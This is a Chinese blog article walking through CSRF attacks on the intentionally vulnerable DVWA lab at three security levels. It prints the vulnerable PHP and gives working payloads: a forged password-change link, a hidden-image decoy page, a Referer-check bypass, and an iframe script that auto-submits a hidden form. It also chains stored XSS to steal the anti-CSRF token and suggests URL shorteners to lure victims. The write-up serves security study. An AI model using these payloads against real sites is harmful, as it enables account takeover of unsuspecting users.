前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DVWA靶场之CSRF漏洞复现

DVWA靶场之CSRF漏洞复现

作者头像
网络安全自修室
发布2022-05-16 15:22:16
2.1K0
发布2022-05-16 15:22:16
举报

1

免责声明

本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如有侵权请联系小编处理。

2

内容速览

CSRF 漏洞

CSRF全称为Cross-site request forgery, 跨站请求伪造.

说白一点就是可以劫持其他用户去进行一些请求,而这个CSRF的危害性就看当前这个请求是进行什么操作了

跨站请求攻击,简单地说,是攻击者通过一些技术手段,指利用受害者 “尚未失效的身份认证信息(cookie、会话等)欺骗用户的浏览器 去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)

由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行

这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的

CSRF攻击流程

上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  • 登录受信任网站A,并在本地生成Cookie
  • 在不退出A的情况下,访问危险网站B

假设:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。 是的,确实如此,但你不能保证以下情况不会发生:

  • 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
  • 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。

所以 CSRF 是一种较难防御、又危险极大的漏洞

DVWA靶场CSRF漏洞实操

CSRF主要是用于越权操作,所有漏洞自然在有权限控制的地方,像管理后台、会员中心、论坛帖子以及交易管理等场景里面

管理后台又是最高危的地方,而CSRF又很少被关注到

因此至今还有很多程序都存在这个问题

我们在挖掘CSRF的时候可以先搭建好环境,打开几个有非静态操作的页面,抓包看看有没有token

如果没有token的话,再直接请求这个页面,不带referer

如果返回的数据还是一样的话,那说明很有可能有CSRF漏洞了,这个是一个黑盒的挖掘方法

从白盒角度来说的话,只要读代码的时候看看几个核心文件里面有没有验证token和referer相关的代码

这里的核心文件指的是被大量文件引用的基础文件,或者直接搜"token"这个关键字也能找

如果在核心文件没有,再去看看你比较关心的功能点的代码有没有验证

下面对三种级别的代码进行分析。

Low

服务器端核心代码

代码语言:javascript
复制
<?php
if( isset( $_GET[ 'Change' ] ) ) 
{<!-- -->
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];      //注意这里的三个GET
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {<!-- -->
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {<!-- -->
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符

可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同

如果相同,就会修改密码,并没有任何的防CSRF机制 (当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)

漏洞利用

(1) 构造链接:

http://www.dvwa.com:8080/vulnerabilities/csrf/?password_new=657260&password_conf=657260&Change=Change#

当受害者点击了这个链接,他的密码就会被改成657260

注意我在这个操作的时候犯了一个错误,就是一上去就直接点了这个链接,却并没有出现以下图中的红字“Password Changed”

因为一开始没有相应的改密码的操作,也就没有产生任何认证信息,不能利用CSRF攻击,,,,这也正说明了利用CSRF攻击的关键

密码修改成功:

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的

因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面

有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。

B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):如http://dwz.cn/

具体网址如下:https://dwz.cn

C) 构造攻击页面

现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击

这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。

代码语言:javascript
复制
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>

当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack

Medium

服务器端核心代码

代码语言:javascript
复制
<?php
if( isset( $_GET[ 'Change' ] ) )
{<!-- -->
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {<!-- -->
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {<!-- -->
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {<!-- -->
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {<!-- -->
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

_SERVER是预定义服务器变量的一种,所有_SERVER开头的都是预定义服务变量

PHP编程中经常需要用到一些服务器的一些资料,如:$_SERVER['SERVER_NAME'] 当前运行脚本所在服务器主机的名称;

$_SERVER['HTTP_REFERER'] 链接到当前页面的前一页面的 URL 地址

regi(string pattern, string string)检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)

是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130)

希望通过这种机制抵御CSRF攻击

漏洞利用

过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)

我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了

下面是Burpsuite抓包获取的截图

Referer参数完美绕过过滤规则

密码修改成功

high

服务器端核心代码

代码语言:javascript
复制
<?php
if( isset( $_GET[ 'Change' ] ) ) 
{<!-- -->
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {<!-- -->
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {<!-- -->
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}// Generate Anti-CSRF tokengenerateSessionToken();
?>

可以看到,High级别的代码加入了Anti-CSRF token机制

用户每次访问改密页面时,服务器会返回一个随机的token 向服务器发起请求时,需要提交token参数

而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

漏洞利用

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去 修改密码的页面 获取关键的token。

Cookie,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

代码语言:javascript
复制
<script type="text/javascript">

    function attack()

  {<!-- -->

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>


<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

 
<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

   <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>

代码语言:javascript
复制
document.getElementsByName(name)方法是取得页面中标签名属性名为name的标签元素,此处的name是一个变量,具体值根据上下文来确定.标签允许name属性名可以同名,所以用此方法取得的往往是一个集合(数组),所以用后面加[0](如果多个还可以1,2等)来得到具体的值.如:
<a name=c1>...
<p name=c1>...
<input name=c2>...
使用document.getElementsByName(”c1“)[0]将获得a标签对象,document.getElementsByName(”c1“)[1]获取p标签对象.

getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用。

document.getElementsByName('user_token')[0].value这个地方是先取得页面中标签名属性名为uer_token的标签元素然后访问这个元素的属性
当一个元素有value属性的时候,其value才会有值,如<input name="txt1" type="text"  value="hello"/>这样一个元素,当你使document.getElementsByName('user_token')[0].value时,可以得到其value值,即"hello"这个字符串。如果一个元素没有value值,那么使用时是取不到。这是理所当然的,没有的东西怎么访问?

contentDocument 属性能够以 HTML 对象来返回 iframe 中的文档,通过id=hack得到iframe对象后,就可以通过contentWindow得到iframe包含页面的window对象,然后就可以正常访问页面元素了;

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见iframe框架偷偷访问修改密码的页面,并获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击,在本地环境下可以实现

然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的

这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上

两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。

所以换一种思路

下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

注入代码如下

这里利用的是存储型xss,当受害者访问这个存在xss的页面,他改密页面的token可以被脚本获取

这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

这里只是简单的弹出,现实攻击中可以将token发送到攻击者服务器,进行构造连接

然后再诱导受害者访问攻击者服务器上的链接,进行csrf攻击,即可成功。

此时攻击者现在自己的机子上在修改密码页面随便修改一个密码,抓包:

构造恶意连接,将通过xss得到的token拼上:

代码语言:javascript
复制
http://192.168.161.137/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=6d03d694fc7c23eec93051ebed992c93(拼接你得到的token)

发送给受害者,让受害者点击即可:

可见密码修改成功了

本文参与?腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-10,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 网络安全自修室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体同步曝光计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CSRF 漏洞
  • CSRF攻击流程
  • DVWA靶场CSRF漏洞实操
    • Low
      • 漏洞利用
        • (1) 构造链接:
        • C) 构造攻击页面
      • Medium
        • 漏洞利用
          • high
            • 漏洞利用
            相关产品与服务
            多因子身份认证
            多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
            http://www.vxiaotou.com